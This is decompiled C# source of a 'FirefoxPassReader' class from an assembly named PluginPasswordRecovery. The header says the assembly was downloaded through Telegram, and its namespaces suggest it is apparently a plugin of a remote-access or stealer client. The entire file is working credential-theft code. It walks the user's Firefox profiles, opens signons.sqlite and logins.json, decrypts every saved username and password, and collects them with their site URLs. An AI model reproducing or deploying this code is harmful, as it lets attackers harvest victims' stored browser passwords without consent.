﻿// Decompiled with JetBrains decompiler
// Type: Plugin.Helper.Browsers.FirefoxPassReader
// Assembly: PluginPasswordRecovery, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: E94068A8-BD3A-4D1E-9D36-4F12AED48A05
// Assembly location: C:\Users\ian\Downloads\Telegram Desktop\fein\Plugins\PluginPasswordRecovery.dll

using InvokedClient.Helper;
using InvokedCommon.Models;
using Plugin.Helper.Utilities;
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.Serialization;


namespace Plugin.Helper.Browsers
{
	public class FirefoxPassReader : IAccountReader
	{
		public string ApplicationName => "Firefox";

		public IEnumerable<RecoveredAccount> ReadAccounts()
		{
			string[] directories = Directory.GetDirectories(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Mozilla\\Firefox\\Profiles"));
			List<RecoveredAccount> recoveredAccountList = new List<RecoveredAccount>();
			if (directories.Length == 0)
				return (IEnumerable<RecoveredAccount>) recoveredAccountList;
			foreach (string str1 in directories)
			{
				string empty1 = string.Empty;
				string empty2 = string.Empty;
				bool flag1 = false;
				bool flag2 = false;
				string[] files1 = Directory.GetFiles(str1, "signons.sqlite");
				if (files1.Length != 0)
				{
					empty1 = files1[0];
					flag1 = true;
				}
				string[] files2 = Directory.GetFiles(str1, "logins.json");
				if (files2.Length != 0)
				{
					empty2 = files2[0];
					flag2 = true;
				}
				if (flag2 | flag1)
				{
					using (FFDecryptor ffDecryptor = new FFDecryptor())
					{
						ffDecryptor.Init(str1);
						if (flag1)
						{
							if (!File.Exists(empty1))
								return (IEnumerable<RecoveredAccount>) recoveredAccountList;
							SQLiteHandler sqLiteHandler;
							try
							{
								sqLiteHandler = new SQLiteHandler(empty1);
							}
							catch (Exception ex)
							{
								return (IEnumerable<RecoveredAccount>) recoveredAccountList;
							}
							if (!sqLiteHandler.ReadTable("moz_logins"))
								return (IEnumerable<RecoveredAccount>) recoveredAccountList;
							for (int row_num = 0; row_num < sqLiteHandler.GetRowCount(); ++row_num)
							{
								try
								{
									string str2 = sqLiteHandler.GetValue(row_num, "hostname");
									string str3 = ffDecryptor.Decrypt(sqLiteHandler.GetValue(row_num, "encryptedUsername"));
									string str4 = ffDecryptor.Decrypt(sqLiteHandler.GetValue(row_num, "encryptedPassword"));
									if (!string.IsNullOrEmpty(str2))
									{
										if (!string.IsNullOrEmpty(str3))
											recoveredAccountList.Add(new RecoveredAccount()
											{
												Url = str2,
												Username = str3,
												Password = str4,
												Application = this.ApplicationName
											});
									}
								}
								catch (Exception ex)
								{
								}
							}
						}
						if (flag2)
						{
							FirefoxPassReader.FFLogins ffLogins;
							using (FileStream fileStream = File.OpenRead(empty2))
								ffLogins = JsonHelper.Deserialize<FirefoxPassReader.FFLogins>((Stream) fileStream);
							foreach (FirefoxPassReader.Login login in ffLogins.Logins)
							{
								string str5 = ffDecryptor.Decrypt(login.EncryptedUsername);
								string str6 = ffDecryptor.Decrypt(login.EncryptedPassword);
								recoveredAccountList.Add(new RecoveredAccount()
								{
									Username = str5,
									Password = str6,
									Url = login.Hostname.ToString(),
									Application = this.ApplicationName
								});
							}
						}
					}
				}
			}
			return (IEnumerable<RecoveredAccount>) recoveredAccountList;
		}

		[DataContract]
		private class FFLogins
		{
			[DataMember(Name = "nextId")]
			public long NextId { get; set; }

			[DataMember(Name = "logins")]
			public FirefoxPassReader.Login[] Logins { get; set; }

			[IgnoreDataMember]
			[DataMember(Name = "potentiallyVulnerablePasswords")]
			public object[] PotentiallyVulnerablePasswords { get; set; }

			[IgnoreDataMember]
			[DataMember(Name = "dismissedBreachAlertsByLoginGUID")]
			public FirefoxPassReader.DismissedBreachAlertsByLoginGuid DismissedBreachAlertsByLoginGuid { get; set; }

			[DataMember(Name = "version")]
			public long Version { get; set; }
		}

		[DataContract]
		private class DismissedBreachAlertsByLoginGuid
		{
		}

		[DataContract]
		private class Login
		{
			[DataMember(Name = "id")]
			public long Id { get; set; }

			[DataMember(Name = "hostname")]
			public Uri Hostname { get; set; }

			[DataMember(Name = "httpRealm")]
			public object HttpRealm { get; set; }

			[DataMember(Name = "formSubmitURL")]
			public Uri FormSubmitUrl { get; set; }

			[DataMember(Name = "usernameField")]
			public string UsernameField { get; set; }

			[DataMember(Name = "passwordField")]
			public string PasswordField { get; set; }

			[DataMember(Name = "encryptedUsername")]
			public string EncryptedUsername { get; set; }

			[DataMember(Name = "encryptedPassword")]
			public string EncryptedPassword { get; set; }

			[DataMember(Name = "guid")]
			public string Guid { get; set; }

			[DataMember(Name = "encType")]
			public long EncType { get; set; }

			[DataMember(Name = "timeCreated")]
			public long TimeCreated { get; set; }

			[DataMember(Name = "timeLastUsed")]
			public long TimeLastUsed { get; set; }

			[DataMember(Name = "timePasswordChanged")]
			public long TimePasswordChanged { get; set; }

			[DataMember(Name = "timesUsed")]
			public long TimesUsed { get; set; }
		}
	}
}
